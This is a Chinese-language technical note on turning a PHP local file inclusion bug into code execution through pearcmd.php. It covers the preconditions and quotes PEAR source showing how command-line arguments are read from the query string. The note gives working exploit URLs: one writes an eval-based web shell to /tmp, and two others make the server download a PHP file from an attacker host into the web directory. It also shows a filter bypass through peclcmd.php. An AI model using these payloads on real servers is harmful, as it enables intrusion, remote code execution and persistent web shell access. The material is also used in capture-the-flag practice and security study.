關於pearcmd利用總結
有兩個條件
pecl是PHP中用於管理擴充套件而使用的命令列工具,而pear是pecl依賴的類庫。在7.3及以前,pecl/pear是預設安裝的;在7.4及以後,需要我們在編譯PHP的時候指定 --with-pear
才會安裝。
不過,在Docker任意版本映象中,pcel/pear都會被預設安裝,安裝的路徑在 /usr/local/lib/php
並且php.ini當中 register_argc_argv=On需要開啟
準備
<?php include($_GET['file']);
pear會在 pearcmd.php
獲取命令列引數
PEAR_Command::setFrontendType('CLI'); $all_commands = PEAR_Command::getCommands(); $argv = Console_Getopt::readPHPArgv(); // fix CGI sapi oddity - the -- in pear.bat/pear is not removed if (php_sapi_name() != 'cli' && isset($argv[1]) && $argv[1] == '--') { unset($argv[1]); $argv = array_values($argv); }
而pear獲取命令列引數在 readPHPArgv()
中
public static function readPHPArgv() { global $argv; if (!is_array($argv)) { if ([email protected]_array($_SERVER['argv'])) { if ([email protected]_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) { $msg = "Could not read cmd args (register_argc_argv=Off?)"; return PEAR::raiseError("Console_Getopt: " . $msg); } return $GLOBALS['HTTP_SERVER_VARS']['argv']; } return $_SERVER['argv']; } return $argv; }
這裡會先嚐試 $argv
,如果不存在再嘗試 $_SERVER['argv']
,後者我們可通過query-string控制。也就是說,我們通過Web訪問了pear命令列的功能,且能夠控制命令列的引數
利用
可以看到引數有這麼多
Commands: build Build an Extension From C Source bundle Unpacks a Pecl Package channel-add Add a Channel channel-alias Specify an alias to a channel name channel-delete Remove a Channel From the List channel-discover Initialize a Channel from its server channel-info Retrieve Information on a Channel channel-login Connects and authenticates to remote channel server channel-logout Logs out from the remote channel server channel-update Update an Existing Channel clear-cache Clear Web Services Cache config-create Create a Default configuration file config-get Show One Setting config-help Show Information About Setting config-set Change Setting config-show Show All Settings convert Convert a package.xml 1.0 to package.xml 2.0 format cvsdiff Run a "cvs diff" for all files in a package cvstag Set CVS Release Tag download Download Package download-all Downloads each available package from the default channel info Display information about a package install Install Package list List Installed Packages In The Default Channel list-all List All Packages list-channels List Available Channels list-files List Files In Installed Package list-upgrades List Available Upgrades login Connects and authenticates to remote server [Deprecated in favor of channel-login] logout Logs out from the remote server [Deprecated in favor of channel-logout] makerpm Builds an RPM spec file from a PEAR package package Build Package package-dependencies Show package dependencies package-validate Validate Package Consistency pickle Build PECL Package remote-info Information About Remote Packages remote-list List Remote Packages run-scripts Run Post-Install Scripts bundled with a package run-tests Run Regression Tests search Search remote package database shell-test Shell Script Test sign Sign a package distribution file svntag Set SVN Release Tag uninstall Un-install Package update-channels Update the Channel List upgrade Upgrade Package upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
可以看見這裡面有三個可能利用的引數,一個是p牛文中提到的config-create,一個install還有用過download
config-create
多加一個die,防止多個輸出
/?file=/www/server/php/52/lib/php/pearcmd.php&+config-create+/<[email protected]($_POST['cmd']);die()?>+/tmp/test.php
install
/?file=/www/server/php/52/lib/php/peclcmd.php&+install+http://vps/1.php
檔案就會被下載到 /tmp/pear/download/1.php
,回顯能看到
download
個人覺得這個比上面install舒服點,這個直接下載到web目錄了,不用提前知道web目錄具體路徑
/?file=/www/server/php/52/lib/php/peclcmd.php&+download+http://vps/1.php
閒話
如果pearcmd關鍵詞被ban怎麼半,其實可以用peclcmd.php作為平替,在這個php檔案當中其實就是引入了pearcmd.php
if ('/www/server/php/52/lib/php' != '@'.'include_path'.'@') { ini_set('include_path', '/www/server/php/52/lib/php'); $raw = false; } else { // this is a raw, uninstalled pear, either a cvs checkout, or php distro $raw = true; } define('PEAR_RUNTYPE', 'pecl'); require_once 'pearcmd.php';
「其他文章」